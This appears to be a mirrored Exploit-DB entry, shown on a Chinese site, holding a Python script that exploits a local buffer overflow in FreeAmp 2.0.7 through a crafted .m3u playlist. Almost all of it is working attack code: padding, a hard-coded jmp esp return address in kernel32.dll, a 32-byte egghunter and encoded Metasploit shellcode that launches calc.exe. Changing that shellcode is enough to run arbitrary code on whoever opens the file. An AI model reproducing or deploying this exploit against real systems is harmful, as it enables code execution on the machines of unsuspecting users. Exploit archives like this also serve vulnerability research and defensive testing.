FreeAmp 2.0.7 – ‘.m3u’ Local Buffer Overflow - 体验盒子

作者： zota

日期： 2010-12-11

类别：

local

平台：

windows

来源：https://www.exploit-db.com/exploits/15727/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

# Exploit Title: FreeAmp 2.0.7 .m3u Buffer Overflow - Egghunter

# Google Dork: N/A

# Date: 11/12/2010

# Author: zota (Thanks to Andrew; andras.kabai@cert-hungary.hu)

# Software Link: http://letoltes.szoftverbazis.hu/bfc5ec1d5e80cee5b5d3f78459113ed93c51f649/4d03800a/freeamp-v2-0-7-JI2/freeampsetup_2_0_7.exe

# Version: 2.0.7

# Tested on: Windows XP SP3 HUN

# CVE : N/A

filename = "crash.m3u"

egg = "H4CK"

#egghunter --> size 32 byte

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x48\x34\x43\x4b\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

padding = "A" * 14654

#kernel32.dll

#7c86467b --> jmp esp

eip = "\x7b\x46\x86\x7c"

# 16 byte nop after eip

nop= "C" * 16

#msfpayload windows/exec CMD=calc.exe r | msfencode -b "\x00\x0a\x0d --> size 228 byte"

payload = (

"\xdb\xcf\xd9\x74\x24\xf4\xba\xf0\x1b\xe7\xdb\x5b\x31\xc9" +

"\xb1\x33\x31\x53\x18\x03\x53\x18\x83\xc3\xf4\xf9\x12\x27" +

"\x1c\x74\xdc\xd8\xdc\xe7\x54\x3d\xed\x35\x02\x35\x5f\x8a" +

"\x40\x1b\x53\x61\x04\x88\xe0\x07\x81\xbf\x41\xad\xf7\x8e" +

"\x52\x03\x38\x5c\x90\x05\xc4\x9f\xc4\xe5\xf5\x6f\x19\xe7" +

"\x32\x8d\xd1\xb5\xeb\xd9\x43\x2a\x9f\x9c\x5f\x4b\x4f\xab" +

"\xdf\x33\xea\x6c\xab\x89\xf5\xbc\x03\x85\xbe\x24\x28\xc1" +

"\x1e\x54\xfd\x11\x62\x1f\x8a\xe2\x10\x9e\x5a\x3b\xd8\x90" +

"\xa2\x90\xe7\x1c\x2f\xe8\x20\x9a\xcf\x9f\x5a\xd8\x72\x98" +

"\x98\xa2\xa8\x2d\x3d\x04\x3b\x95\xe5\xb4\xe8\x40\x6d\xba" +

"\x45\x06\x29\xdf\x58\xcb\x41\xdb\xd1\xea\x85\x6d\xa1\xc8" +

"\x01\x35\x72\x70\x13\x93\xd5\x8d\x43\x7b\x8a\x2b\x0f\x6e" +

"\xdf\x4a\x52\xe5\x1e\xde\xe8\x40\x20\xe0\xf2\xe2\x48\xd1" +

"\x79\x6d\x0f\xee\xab\xc9\xff\xa4\xf6\x78\x97\x60\x63\x39" +

"\xfa\x92\x59\x7e\x02\x11\x68\xff\xf1\x09\x19\xfa\xbe\x8d" +

"\xf1\x76\xaf\x7b\xf6\x25\xd0\xa9\x95\xa8\x42\x31\x74\x4e" +

"\xe2\xd0\x88\x9a")

buffer = padding + egg + egg + payload + "A" * (14907 - len(padding) - len(egg) - len(egg) -len(payload)) + eip + nop + egghunter + "D" * (15000 - 14907 - len(egg) - len(nop) - len(egghunter))

textfile = open(filename,'w')

textfile.write(buffer)

textfile.close()